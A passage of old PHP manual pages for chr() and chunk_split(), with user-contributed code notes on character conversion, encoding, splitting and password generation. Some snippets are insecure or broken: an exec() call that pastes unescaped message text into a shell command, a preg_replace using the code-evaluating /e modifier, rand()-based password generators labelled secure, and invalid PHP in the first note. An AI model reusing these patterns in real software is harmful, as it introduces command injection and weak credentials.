    * "\t" - ASCII 9, a tab
    * "\n" - ASCII 10, a new line
    * "\x0B" - ASCII 11, a vertical tab.
    * "\r" - ASCII 13, a carriage return
    * " " - ASCII 32, an ordinary white space
anon at mailinator dot com 11-May-2007 01:06
Another possible one would be to use this:

<?php
function chup(){

$ar=Array();

foreach(func_get_args() as $b) {

push($ar,$b[strlen($b)-1]);

&$b[strlen($b)-1]='';

  }

return $ar;

 }
?>

If you wanted to perl-chop a va list of strings and return the removed chars. Obviously you can easily mod it for va list arrays of strings and the like.
bin2hex
chr
String Functions


Return a specific character

chop
chunk_split
String Functions
PHP Manual

chr

(PHP 4, PHP 5)

chr — Return a specific character

Description

string chr ( int $ascii )

Returns a one-character string containing the character specified by ascii.

This function complements ord().

Parameters

ascii

The ascii code.

Return Values

Returns the specified character.

Examples

Example #1 chr() example

<?php
$str = "The string ends in escape: ";
$str .= chr(27); /* add an escape character at the end of $str */

/* Often this is more useful */

$str = sprintf("The string ends in escape: %c", 27);
?>

See Also

  • sprintf() - Return a formatted string with a format string of %c
  • ord()
  • An » ASCII-table

User Contributed Notes

stanislav at nechutny dot net 01-Oct-2011 06:26
There is simple function for converting number to chars. If you want make table like excel where colums are indetified by chars A,B,C...AA,AB.. you can easyli iterate on integer and call this function.
<?php
function numtochars($num,$start=65,$end=90)
{
    $sig = ($num < 0);
    $num = abs($num);
    $str = "";
    $cache = ($end-$start);
    while($num != 0)
    {
        $str = chr(($num%$cache)+$start-1).$str;
        $num = ($num-($num%$cache))/$cache;
    }
    if($sig)
    {
        $str = "-".$str;
    }
    return $str;
}
?>
robin leffmann 24-Sep-2011 08:46
While the documentation appears to imply ASCII character operation only, chr() can actually be used to convert arbitrary byte values into binary content:

<?php

while( @$i++ < 32 )
    $a = chr( mt_rand(0, 255) );

file_put_contents( 'filename', $a );

?>
mailderemi at gmail dot com 04-Feb-2011 08:17
Here is a sample of encoding and decoding using "chr" and "ord".
<?php
    function Encode($txtData,$Level){
        for ($j = 0;$j<$Level;$j++){
            $tmpStr = '';
            for ($i = 0;$i<strlen($txtData);$i++)
                $tmpStr .= ord(substr(strtoupper($txtData), $i, 1));
            $txtData = $tmpStr;
        }
        return (strlen($Level)).$Level.$txtData;
    }

    function Decode($txtData){
        $intLevel = substr($txtData, 1, substr($txtData, 0, 1));
        $startStr = substr($txtData, substr($txtData, 0, 1)+1, strlen($txtData));
        for ($j = 0;$j<$intLevel;$j++){
            for ($i = 0;$i<strlen($startStr);$i+=2)
                $tmpStr .= chr(intval(substr($startStr, $i, 2)));
            $startStr = $tmpStr;

            $tmpStr = "";
        }
        return $startStr;
    }

echo Encode('123',4).'<br>';
echo Decode(Encode('123',5));
?>
Icar 11-Mar-2010 08:31
Here is code for generation Russian alphabet:
<?php
for ($i=176;$i<=207;++$i) {
    echo $i.'='.iconv('ISO-8859-5', 'UTF-8', chr($i)).'<br>';
}
?>
This simple code generates all Russian capital letters, but without 'Ё'.
Emprivo.com 01-Sep-2009 07:36
Replaces special characters with non-special equivalents

<?php
function normalize_special_characters( $str )
{
    # Quotes cleanup
    $str = ereg_replace( chr(ord("`")), "'", $str );        # `
    $str = ereg_replace( chr(ord("´")), "'", $str );        # ´
    $str = ereg_replace( chr(ord("„")), ",", $str );        # „
    $str = ereg_replace( chr(ord("`")), "'", $str );        # `
    $str = ereg_replace( chr(ord("´")), "'", $str );        # ´
    $str = ereg_replace( chr(ord("“")), "\"", $str );        # “
    $str = ereg_replace( chr(ord("”")), "\"", $str );        # ”
    $str = ereg_replace( chr(ord("´")), "'", $str );        # ´

    $unwanted_array = array(    'Š'=>'S', 'š'=>'s', 'Ž'=>'Z', 'ž'=>'z', 'À'=>'A', 'Á'=>'A', 'Â'=>'A', 'Ã'=>'A', 'Ä'=>'A', 'Å'=>'A', 'Æ'=>'A', 'Ç'=>'C', 'È'=>'E', 'É'=>'E',
                                'Ê'=>'E', 'Ë'=>'E', 'Ì'=>'I', 'Í'=>'I', 'Î'=>'I', 'Ï'=>'I', 'Ñ'=>'N', 'Ò'=>'O', 'Ó'=>'O', 'Ô'=>'O', 'Õ'=>'O', 'Ö'=>'O', 'Ø'=>'O', 'Ù'=>'U',
                                'Ú'=>'U', 'Û'=>'U', 'Ü'=>'U', 'Ý'=>'Y', 'Þ'=>'B', 'ß'=>'Ss', 'à'=>'a', 'á'=>'a', 'â'=>'a', 'ã'=>'a', 'ä'=>'a', 'å'=>'a', 'æ'=>'a', 'ç'=>'c',
                                'è'=>'e', 'é'=>'e', 'ê'=>'e', 'ë'=>'e', 'ì'=>'i', 'í'=>'i', 'î'=>'i', 'ï'=>'i', 'ð'=>'o', 'ñ'=>'n', 'ò'=>'o', 'ó'=>'o', 'ô'=>'o', 'õ'=>'o',
                                'ö'=>'o', 'ø'=>'o', 'ù'=>'u', 'ú'=>'u', 'û'=>'u', 'ý'=>'y', 'ý'=>'y', 'þ'=>'b', 'ÿ'=>'y' );
    $str = strtr( $str, $unwanted_array );

    # Bullets, dashes, and trademarks
    $str = ereg_replace( chr(149), "&#8226;", $str );    # bullet •
    $str = ereg_replace( chr(150), "&ndash;", $str );    # en dash
    $str = ereg_replace( chr(151), "&mdash;", $str );    # em dash
    $str = ereg_replace( chr(153), "&#8482;", $str );    # trademark
    $str = ereg_replace( chr(169), "&copy;", $str );    # copyright mark
    $str = ereg_replace( chr(174), "&reg;", $str );        # registration mark

    return $str;
}
?>
sinfocol at sinfocol dot org 30-Jun-2009 02:38
The function chr() also accepts negative numbers as an ascii code, so chr(-number) is equal to chr((number%256)+256).
And for ascii code higher than 255 is chr(number%256)

We can test with a little script
<?php
    for($i=-300; $i<300; $i++){
        echo "Ascii $i\t" . ord(chr($i)) . "\n";
    }
?>
glen at glencooper dot com 10-Mar-2009 11:27
Thank you joeldegan for your termcolored function.  I write a lot of command-line scripts using PHP and like to colorize them.  I was having a problem with the termcolored function where the next character echo'ed after calling termcolored() was being dropped.  Turns out you don't need the extra chr(27) at the end of each term color code.

Here's my modified version of your function, renamed to echocolor.

<?php
function echocolor($text,$color="normal",$back=0)
{
  $colors = array('light_red'  => "[1;31m", 'light_green' => "[1;32m", 'yellow'     => "[1;33m",
                  'light_blue' => "[1;34m", 'magenta'     => "[1;35m", 'light_cyan' => "[1;36m",
                  'white'      => "[1;37m", 'normal'      => "[0m",    'black'      => "[0;30m",
                  'red'        => "[0;31m", 'green'       => "[0;32m", 'brown'      => "[0;33m",
                  'blue'       => "[0;34m", 'cyan'        => "[0;36m", 'bold'       => "[1m",
                  'underscore' => "[4m",    'reverse'     => "[7m" );
  $out = $colors["$color"];
  $ech = chr(27)."$out"."$text".chr(27)."[0m";
  if($back)
  {
    return $ech;
  }
  else
  {
    echo $ech;
  }
}
?>
voromax 31-Jan-2009 07:39
Another quick and short function to get unicode char by its code.

<?php
/**
 * Return unicode char by its code
 *
 * @param int $u
 * @return char
 */
function unichr($u) {
    return mb_convert_encoding('&#' . intval($u) . ';', 'UTF-8', 'HTML-ENTITIES');
}
?>
jacob at loggy punt nl 31-Dec-2008 05:46
This function creates a ascii table, and replaces all the ascii characters in the mail.
---
Deze functie maakt een ascii tabel, en zet alles juist om.

<?php
 function makeASCII($a){
  $find[] = "=\r\n";
  $replace[] = "";

  for($i=0; $i < 256; $i++){
    $find[] = "=".dechex($i)."";
    $replace[] = chr($i);
  }
  $a = str_replace($find,$replace,$a);
  return $a;
 }
?>
scott at quinlan dot co dot nz 20-Oct-2008 09:51
Secure password generator with a variable maximum amount of symbols.

<?php

function passwdGen($minLength = 8, $maxLength = 12, $maxSymbols = 2)
{
    $symbolCount = 0;

    srand((double)microtime() * 1000003);

    for ($i = 0; $i < rand($minLength, $maxLength); $i++)
    {
        do
        {
            $char = rand(33, 126);

            $symbolCount += $isSymbol = (!in_array($char, range(48, 57)) && !in_array($char, range(65, 90)) && !in_array($char, range(97, 122)));

            if ($symbolCount <= $maxSymbols || !$isSymbol)
            {
                break;
            }
        }
        while (true);

        $passwd = sprintf('%s%c', isset($passwd) ? $passwd : NULL, $char);
    }

    return $passwd;
}

?>
Josh B. 12-Aug-2008 02:06
In addition to replacing Microsoft Windows smart quotes, as sgaston demonstrated on 2006-02-13, I replace all other Microsoft Windows characters using suggestions[1] published by character code specialist[2] Jukka Korpela.

<?php
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
$str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
$str = str_replace(chr(147), '"', $str);    // left double quote
$str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '-', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
$str = str_replace(chr(152), '~', $str);    // tilde accent
$str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
$str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
?>

[1] On the use of some MS Windows characters in HTML
http://www.cs.tut.fi/~jkorpela/www/windows-chars.html

[2] Unicode Explained by Jukka Korpela
http://www.amazon.com/dp/059610121X/
markem at airmail dot net 09-Jul-2008 03:34
First, the linefeed versus carriage return confusion:

When typewriters were first invented they were manually moved.  You could do a couple of things with them.  You could type on it (which would move the carriage one space to the left as you typed each character), you could hit the backspace key (which would move the carriage one space to the right), press the line feed button (which would cause the carriage to roll up one line), and return (which would move the carriage all the way to the right again).  When electric typewriters came in to being these functions were made into their electronic counterparts. When terminals appeared they were given the same functions just as word processors, text editors, and everything else that deals with the typed word handles them.

When computers first came out though, the dopey people who invented them wanted to distinguish themselves.  One of the ways they did that was to only use some of the commands.  Which is why the Macintosh originally only used the carriage return command and why Linux/Unix only used the line feed command.  This is why there is "\r" (carriage return), "\l" (Line Feed), and "\n" (OS appropriate).  One of the few things that IBM got right was that it should really be <Carriage Return><Line Feed> and not just one or the other.

So like the reason our roads are a certain width is because that was the width of two horses pulling a Roman chariot, the reason we use these terms is because of the humble non-electronic typewriter and how it worked.

Second - I believe that PHP actually generates ANSI characters and not ASCII characters.  Although there were different extended character sets for the ASCII characters (ie: 128-255), the one depicted on the http://www.asciitable.com/ website clearly shows the IBM standardized ASCII extended table.  (ie: If you ran a BASIC program on your computer you would see the set shown on the above website.)  If, however, you print out the characters via the CHR() function in PHP it prints out the ANSI character set.  (ASCII and ANSI are the same for 0-127.)  Although you can get the characters to print (via Unicode) through the CHR() function - this is still simply showing it is using ANSI and not ASCII.  (Because Unicode is an extension of the ANSI character set and not the ASCII character set.)

If this is so (and my tests show it is) - should the documentation be changed to reflect this?  :-?
darkodemon at gmail dot com 27-Apr-2007 04:33
chr() with unicode support

<?php

function uchr ($codes) {
    if (is_scalar($codes)) $codes= func_get_args();
    $str= '';
    foreach ($codes as $code) $str.= html_entity_decode('&#'.$code.';',ENT_NOQUOTES,'UTF-8');
    return $str;
}

echo uchr(23383); echo '<br/>';
echo uchr(23383,215,23383); echo '<br/>';
echo uchr(array(23383,215,23383,215,23383)); echo '<br/>';

?>
mwgamera at gmail dot com 22-Aug-2006 08:20
Unicode version of chr() using mbstring
<?php
  function unichr($u) {
    return mb_convert_encoding(pack("N",$u), mb_internal_encoding(), 'UCS-4BE');
  }
?>
It returns a string in internal encoding (possibly more than one byte).
JasonLauDotBiz 16-Feb-2006 07:34
I didn't see it here, so here's simple random string generation using char.

<?php
for($i=0; $i<7; $i++){
    $random_string .= chr(rand(0,25)+65);
}
echo $random_string;
?>
sgaston at mercy corps dot ()rg 13-Feb-2006 02:52
I found this function useful as a way to detect and to replace Microsoft Smart Quotes when desplaying info on a webpage.

The following lines seem to do the trick:

<?php
$text = "string containing Microsoft Smart Quotes...";
$chrs = array (chr(150), chr(147), chr(148), chr(146));
$repl = array ("-", "\"", "\"", "'");
$text = str_replace($chrs, $repl, $text);
?>
plugwash at p10link dot net 14-Jan-2006 12:41
bear in mind that php doesn't really care about character sets. php strings are just arbitary byte sequences thier meaning (especailly when you go beyond code 127) depends entirely on whats interpreting the data (in the case of a browser the charset specified in the http headers).
admin at icstrategy dot midgetforhire dot com 08-Jan-2006 10:51
I made a password generator with this function...

<?php
$passlength = 8;
$pass = "";
$i = 0;
while($i <= $passlength)
    {
    $pass .= chr(rand(33,126));
    $i++;
    }
echo $pass;
?>

Ofcourse you can change passlength.

Example of an 8-char password:
AFJ\)t'u}

I realise it isn't compatible for all sites, but most will accept :)
grey - greywyvern - com 19-Aug-2005 07:55
I spent hours looking for a function which would take a numeric HTML entity value and output the appropriate UTF-8 bytes.  I found this at another site and only had to modify it slightly; so I don't take credit for this.

<?php function unichr($dec) {
  if ($dec < 128) {
    $utf = chr($dec);
  } else if ($dec < 2048) {
    $utf = chr(192 + (($dec - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  } else {
    $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
    $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
    $utf .= chr(128 + ($dec % 64));
  }
  return $utf;
} ?>

So for example:

<?php

  $str = "Chinese: &#20013;&#25991;";
  $str = preg_replace("/&#(\d{2,5});/e", "unichr($1);", $str);

?>
24-May-2005 07:15
If you want to increment your letter, which is stored as a string, you have to convert it back to an integer first.

<?php
    $letter=strtolower($_GET['letter']);    //You wanted this originally, but not decided you want the previous letter
    $letter=ord($letter);            //Convert to an integer
    $letter=chr($letter-1);            //Convert back to a string, but the previous letter (naturally won't work with A or a)
?>
sarabas at itstudio dot pl 17-Feb-2005 04:26
The following function helped me to generate ascii-only usernames from firstname/lastname containing iso-8859-2 characters. The convertion array was based on contents of 'man iso-8859-2'.

Example: iso2ascii("b&#322;a&#380;ej.&#378;d&#378;b&#322;o") returns "blazej.zdzblo"

<?php
function iso2ascii($str) {
 $arr=array(
  chr(161)=>'A', chr(163)=>'L', chr(165)=>'L', chr(166)=>'S', chr(169)=>'S',
  chr(170)=>'S', chr(171)=>'T', chr(172)=>'Z', chr(174)=>'Z', chr(175)=>'Z',
  chr(177)=>'a', chr(179)=>'l', chr(181)=>'l', chr(182)=>'s', chr(185)=>'s',
  chr(186)=>'s', chr(187)=>'t', chr(188)=>'z', chr(190)=>'z', chr(191)=>'z',
  chr(192)=>'R', chr(193)=>'A', chr(194)=>'A', chr(195)=>'A', chr(196)=>'A',
  chr(197)=>'L', chr(198)=>'C', chr(199)=>'C', chr(200)=>'C', chr(201)=>'E',
  chr(202)=>'E', chr(203)=>'E', chr(204)=>'E', chr(205)=>'I', chr(206)=>'I',
  chr(207)=>'D', chr(208)=>'D', chr(209)=>'N', chr(210)=>'N', chr(211)=>'O',
  chr(212)=>'O', chr(213)=>'O', chr(214)=>'O', chr(216)=>'R', chr(217)=>'U',
  chr(218)=>'U', chr(219)=>'U', chr(220)=>'U', chr(221)=>'Y', chr(222)=>'T',
  chr(223)=>'s', chr(224)=>'r', chr(225)=>'a', chr(226)=>'a', chr(227)=>'a',
  chr(228)=>'a', chr(229)=>'l', chr(230)=>'c', chr(231)=>'c', chr(232)=>'c',
  chr(233)=>'e', chr(234)=>'e', chr(235)=>'e', chr(236)=>'e', chr(237)=>'i',
  chr(238)=>'i', chr(239)=>'d', chr(240)=>'d', chr(241)=>'n', chr(242)=>'n',
  chr(243)=>'o', chr(244)=>'o', chr(245)=>'o', chr(246)=>'o', chr(248)=>'r',
  chr(249)=>'u', chr(250)=>'u', chr(251)=>'u', chr(252)=>'u', chr(253)=>'y',
  chr(254)=>'t'
 );
 return strtr($str,$arr);
}
?>
tenyou at gmail dot com 14-Jul-2004 11:05
When having to deal with parsing an IIS4 or IIS5 metabase dump I wrote a simple function for converting those MS hexidecimal values into their ascii counter parts. Hopefully someone will find use for it.

<?php
function hex_decode($string)  {
        for ($i=0; $i < strlen($string); $i)  {
        $decoded .= chr(hexdec(substr($string,$i,2)));
        $i = (float)($i)+2;
        }
return $decoded;
}
?>
jmartin at prescientsoftware dot com 13-Apr-2004 02:42
Here is a function that will convert column numbers in to a letters for use in a spreadsheet.  It is limited up to 'ZZ' but can easliy by modifed.

<?php
 function col2chr($a){
        if($a<27){
            return strtoupper(chr($a+96));
        }else{
            while($a > 26){
                $b++;
                $a = $a-26;
            }
            $b = strtoupper(chr($b+96));
            $a = strtoupper(chr($a+96));
            return $b.$a;
        }
    }
?>
perrodin at laposte dot net 11-Apr-2004 04:20
Note that if the number is higher than 256, it will return the number mod 256.
For example :
chr(321)=A because A=65(256)
jgray at triangle dash solutions dot com 25-Jul-2003 10:20
Lowercase alphabet:
<?php for($a=97;$a<(97+26);$a++){ echo chr($a); } ?>
infoserv at chollian dot net 24-Jun-2003 08:16
Cutting Korean(2Byte)-String

<?php
function cutStr($str,$len){
    if(strlen($str) > $len){
        $str = substr($str,0,$len - 2);
        if(strlen(substr(strrchr($str," "),1)) % 2)
            $str = substr($str,0,strlen($str) - 1);
        $str .= "..";
    }
    return $str;
}
?>
jcokos 26-Mar-2003 06:12
A quick function that I use to make strings "XML" compliant, changing every special character into their #$... equivalent.

htmlentities doesn't get all of the chars above 127, so the second part of this (which I stole from one of the comments above) finishes the process, returning a nice, xml happy string.

<?php
    function strictify ( $string ) {

        $fixed = htmlentities( $string, ENT_QUOTES );

        $trans_array = array();
        for ($i=127; $i<255; $i++) {
           $trans_array[chr($i)] = "&#" . $i . ";";
        }

        $really_fixed = strtr($fixed, $trans_array);

        return $really_fixed;

    }
?>

HTH
Kristin 06-Mar-2003 08:19
Note that chr(10) is a 'line feed' and chr(13) is a 'carriage return' and they are not the same thing! I found this out while attempting to parse text from forms and text files for inclusion as HTML by replacing all the carriage returns with <BR>'s only to find after many head-scratchings that I should have been looking for line feeds. If anyone can shed some light on what the difference is, please do.

If you're planning on saving text from a form into a database for later display, you'll need to apply the following function so that it gets saved with the proper HTML tags.

<?php
$text = str_replace ( chr(10), "<BR>", $text );
?>

When you want to plug it back into that form for editing you need to convert it back.

<?php
$text = str_replace ( "<BR>", chr(10), $text)
?>

Hope this saves somebody some trouble. :)
joeldegan AT yahoo.com 14-Dec-2002 02:53
Want terminal colors in command line php scripts?

This should take care of that.
<?

$_colors = array(
        'LIGHT_RED'      => "[1;31m",
        'LIGHT_GREEN'     => "[1;32m",
        'YELLOW'     => "[1;33m",
        'LIGHT_BLUE'     => "[1;34m",
        'MAGENTA'     => "[1;35m",
        'LIGHT_CYAN'     => "[1;36m",
        'WHITE'     => "[1;37m",
        'NORMAL'     => "[0m",
        'BLACK'     => "[0;30m",
        'RED'         => "[0;31m",
        'GREEN'     => "[0;32m",
        'BROWN'     => "[0;33m",
        'BLUE'         => "[0;34m",
        'CYAN'         => "[0;36m",
        'BOLD'         => "[1m",
        'UNDERSCORE'     => "[4m",
        'REVERSE'     => "[7m",

);

function termcolored($text, $color="NORMAL", $back=1){
    global $_colors;
    $out = $_colors["$color"];
    if($out == ""){ $out = "[0m"; }
    if($back){
        return chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }else{
        echo chr(27)."$out$text".chr(27).chr(27)."[0m".chr(27);
    }//fi
}// end function

echo termcolored("test\n", "BLUE");
?>
gschafer at robandger dot com 08-Nov-2002 04:17
Here's a small function I wrote up to generate random passwords using the chr() function.

<?php
function randPass($len)
{
 $pw = ''; //intialize to be blank
 for($i=0;$i<$len;$i++)
 {
   switch(rand(1,3))
   {
     case 1: $pw.=chr(rand(48,57));  break; //0-9
     case 2: $pw.=chr(rand(65,90));  break; //A-Z
     case 3: $pw.=chr(rand(97,122)); break; //a-z
   }
 }
 return $pw;
}
?>

Example:

<?php
 $password = randPass(10); //assigns 10-character password
?>

I found this useful in my early coding days... I'm sure someone else will too :D
28-Jun-2002 08:05
This bit of code will convert all those lovely tilde,umlaut etc. etc. characters into safe character codes:

<?php
    $trans_array = array();
    for ($i=127; $i<255; $i++) {
        $trans_array[chr($i)] = "&#" . $i . ";";
    }
    $outtext = strtr($intext, $trans_array);
?>
webmaster at project-enigma dot net 13-Apr-2002 12:51
\n == &#13;
Usefull if u want to display multi-line-alt-strings
e.g. <img src="/gifs/php_logo.gif" alt="Here u can see the&#13;PHPLogo&#13;3rd line">
happyevil(at)1218.org 26-Mar-2001 07:31
Here is a function that's help me find what chr(number) outputs what character quicker than typing out 256 echo tags.

<?php
 function listChr(){
  for ($i = 0; $i < 256; ++$i) {
  static $genNum;
  $genNum++;
  echo "chr($genNum) will output '";
  echo (chr($genNum));
  echo "'< br>\n";
  }
}
listChr();
?>

Another helpful chr is #9, being a tab.  Quite using when making error logs.

 $tab = (chr(9));
 echo "<pre>error{$tab}date{$tab}time</pre>";

 -- HappyEvil
ddawsonNOSPAM at execpc dot com 09-May-2000 04:59
[Editor's note:

%c is defined as: "Print the character belonging to the ascii code given"

chr() just gives a string, so you need to use %s, even if the string consists of only one character. This is consistent with other languages.
--Jeroen@php.net]

Learn from my mistake:
Do not expect this to work!

<?php
$c_question = chr(63);
$v_out = sprintf("<%cphp\n", $c_question);
//... more stuff being sprintf'd into v_out here ...
$v_out = sprintf("%s%c>\n", $v_out, $c_question);
$v_fp = fopen("foofile", "w");
if ($v_fp)
{
     fwrite($v_fp, $v_out, strlen($v_out));
     fclose($v_fp);
}
?>

When I did this, foofile contained <NUL NUL NUL NUL NUL>.
I spun my wheels quite awhile looking at fputs, fwrite to verify I was calling those functions correctly.
My mistake was using $c_question = chr(63) instead of
$c_question = 63 (correct).  Then everything worked fine.
chop
chunk_split
String Functions


Split a string into smaller chunks

chr
convert_cyr_string
String Functions
PHP Manual

chunk_split

(PHP 4, PHP 5)

chunk_split — Split a string into smaller chunks

Description

string chunk_split ( string $body [, int $chunklen = 76 [, string $end = "\r\n" ]] )

Can be used to split a string into smaller chunks which is useful for e.g. converting base64_encode() output to match RFC 2045 semantics. It inserts end every chunklen characters.

Parameters

body

The string to be chunked.

chunklen

The chunk length.

end

The line ending sequence.

Return Values

Returns the chunked string.

Examples

Example #1 chunk_split() example

<?php
// format $data using RFC 2045 semantics
$new_string = chunk_split(base64_encode($data));
?>

See Also

  • str_split() - Convert a string to an array
  • explode() - Split a string by string
  • split() - Split string into array by regular expression
  • wordwrap() - Wraps a string to a given number of characters
  • » RFC 2045

User Contributed Notes

belal dot nabeh at gmail dot com 10-Aug-2010 08:02
If you are using UTF-8 charset you will face a problem with Arabic language
to solve this problem i used this function

<?php
function chunk_split_($text,$length,$string_end)
{
    $text = iconv("UTF-8","windows-1256",$text);
    $text = str_split($text);
    foreach($text as $val)
    {
        if($a !== $val)
        {
            $a = $val;
            $x = 0;
        }else{
            $a = $val;
            $x++;
        }
        if($x > $length)
        {
            $new_text .= $val.$string_end;
            $x = 0;
        }else
        {
             $new_text .= $val;
        }

    }
    $new_text = iconv("windows-1256","UTF-8",$new_text);
    return $new_text;
}
?>
Peter from dezzignz.com 05-Apr-2010 06:07
Oops. Here is a correction for the post below.

<?php

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
    }
    return $array;
}

function mb_chunk_split($str, $len, $glue) {
    if (empty($str)) return false;
    $array = mbStringToArray ($str);
    $n = -1;
    $new = '';
    foreach ($array as $char) {
        $n++;
        if ($n < $len) $new .= $char;
        elseif ($n == $len) {
            $new .= $glue . $char;
            $n = 0;
        }
    }
    return $new;
}

// DEMO:
$str = '一二一二一二一二一二';
echo mb_chunk_split($str, 2, '*<br />');

// produces this output:
一二*
一二*
一二*
一二*
一二

?>
Peter from dezzignz.com 05-Apr-2010 04:30
chunk_split() is not multibyte safe. If you ever run into needing the function that is multibyte safe, here you go:

<?php

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
    }
    return $array;
}

function mb_chunk_split($str, $len, $glue) {
    if (empty($str)) return false;
    $array = mbStringToArray ($str);
    $n = 0;
    $new = '';
    foreach ($array as $char) {
        if ($n < $len) $new .= $char;
        elseif ($n == $len) {
            $new .= $glue . $char;
            $n = 0;
        }
        $n++;
    }
    return $new;
}

?>
dampee at earthlink dot net 20-Nov-2009 09:10
I've found this quite useful for simulating various kinds of shuffles with cards.  It is humorous but can imitate multiple deck cuts and other (imperfectly) random events.

<?php
function truffle_shuffle($body, $chunklen = 76, $end = "\r\n")
{
     $chunk = chunk_split($body, $chunklen, "-=blender=-");
     $truffle = explode("-=blender=-",$chunk);
     $shuffle = shuffle($truffle);
     $huknc = implode($end,$shuffle);
     return $huknc;
}
?>
tim at weird spots in my crotch dot com 08-May-2008 02:29
@Royce

I think this is better, since you can still use the ampersand in your text:

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    elseif($c == " ")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
neos at blizzz dot ru 03-May-2008 11:38
"version" of chunk_split for cyrillic characters in UTF-8

public function UTFChunk($Text,$Len = 10,$End = "\r\n")
{
    if(mb_detect_encoding($Text) == "UTF-8")
    {
        return mb_convert_encoding(
                chunk_split(
                    mb_convert_encoding($Text, "KOI8-R","UTF-8"), $Len,$End
                ),
                "UTF-8", "KOI8-R"
            );
    } else
    {
        return chunk_split($Text,$Len,$End);
    }
}

this is example for russian language
Royce 16-Apr-2008 12:31
Here's a version of Chunk Split I wrote that will not split html entities. Useful if you need to inject something in html (in my case, <wbr/> tags to allow for long text wrapping).

<?php
function HtmlEntitySafeSplit($html,$size,$delim)
{
  $pos=0;
  for($i=0;$i<strlen($html);$i++)
  {
    if($pos >= $size && !$unsafe)
    {
      $out.=$delim;
      $unsafe=0;
      $pos=0;
    }
    $c=substr($html,$i,1);
    if($c == "&")
      $unsafe=1;
    elseif($c == ";")
      $unsafe=0;
    $out.=$c;
    $pos++;
  }
  return $out;
}
?>
lehongviet at gmail dot com 29-Jun-2007 03:23
This function works well to cut long para for preview without cutting word. Good for Unicode such as &#7789;

function split_hjms_chars($xstr, $xlenint, $xlaststr)
{
    $xlenint = strpos($xstr," ",$xlenint);
   return substr($xstr,0,$xlenint).$xlaststr;
}
mark [at] d0gz [dot] net 10-Apr-2007 10:12
When using ssmtp for simple command line mailing:

$mail_to = "destination@emailbox.com";
$msg = "this would be an actual base64_encoded gzip msg";
$date = date(r);
$mail  = "X-FROM: root@sender.org \n";
$mail .= "X-TO: ".$mail_to. " \n";
$mail .= "To: ".$mail_to. " \n";
$mail .= "Date: $date \n";
$mail .= "From: root@sender.org \n";
$mail .= "Subject: lifecheck \n";
$mail .= $msg." \n";
exec("echo '$mail' | /usr/sbin/ssmtp ".$mail_to);

be sure to invoke chunk_split() on your message body - ssmtp becomes unhappy with long lines and will subsequently trash  your message.
06-Mar-2007 02:45
in response to "hansvane at yahoo dot com dot ar"

you can do that ALOT easier:

<?php
function split_hjms_chars($xstr, $xlenint, $xlaststr)
{
   return substr($xstr,0,$xlenint).$xlaststr;
}
?>
hansvane at yahoo dot com dot ar 21-Jan-2007 10:06
This function is very simple and many other functions make this on PHP 5 and even some ones in 4 the good think about this one is that work on php 3.0.6 and 4

function split_hjms_chars($xstr, $xlenint, $xlaststr)
{
    $texttoshow = chunk_split($xstr,$xlenint,"\r\n");
    $texttoshow  = split("\r\n",$texttoshow);
    $texttoshow = $texttoshow[0].$xlaststr;
    return $texttoshow;
}

// For use

echo split_hjms_chars("This is your text",6,"...");

// Will return

This i...

It is useful to cut long text on preview lists and if the server it's old.

Hope it helps some one. Hans Svane
chris AT w3style.co DOT uk 14-Aug-2006 12:32
I'm not sure what versions this also occurs in but the output of chunk_split() in PHP 5.0.4 does not match the output in other versions of PHP.

In all versions of PHP I have used, apart from 5.0.4 chunk_split() adds the separator (\r\n) to the end of the string.  But in PHP 5.0.4 this does not happen.  This had a fairly serious impact on a library I maintain so it may also affect others who are not aware of this.
xamine at gmail dot com 04-Jun-2006 11:06
In reply to "adrian at zhp dot inet dot pl" digit grouping function:
<?php
    $number = strrev(chunk_split (strrev($number), 3,' '));
    //If $number is '1234567', result is '1 234 567'.
?>

There is a much more simple way of doing this, by using the built-in number_format() function.

<?php
   $number = number_format($number,2,"."," ");

   //This will round $number to 2 decimals, use the dot (".")
   //as decimal point, and the space (" ") as thousand sepparator.

?>
kevin @t hyguard,com 03-Oct-2005 07:08
Not quite completely obvious, but...

you can un_chunk_split() by:

$long_str = str_replace( "\r\n", "", $chunked_str );
harish at thespitbox dot net 30-Jul-2005 05:45
another way to group thousands in a number, which is much simpler, is built into PHP :)

www.php.net/number_format
adrian at zhp dot inet dot pl 08-Jul-2005 02:28
If you need to output number formated with thousand's separator, just use it:

$number = strrev(chunk_split (strrev($number), 3,' '));

If $number is '1234567', result is '1 234 567'.
Kevin 25-Jun-2005 04:10
To phpkid:

This is a much simpler solution.
